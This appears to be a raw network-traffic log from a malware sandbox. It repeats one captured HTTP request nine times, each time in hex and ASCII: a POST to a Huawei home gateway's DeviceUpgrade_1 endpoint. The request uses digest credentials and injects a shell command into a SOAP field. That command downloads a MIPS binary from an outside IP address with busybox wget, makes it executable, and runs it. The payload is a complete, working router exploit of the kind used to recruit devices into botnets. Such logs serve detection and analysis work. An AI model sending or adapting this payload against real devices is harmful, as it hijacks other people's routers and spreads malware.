Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
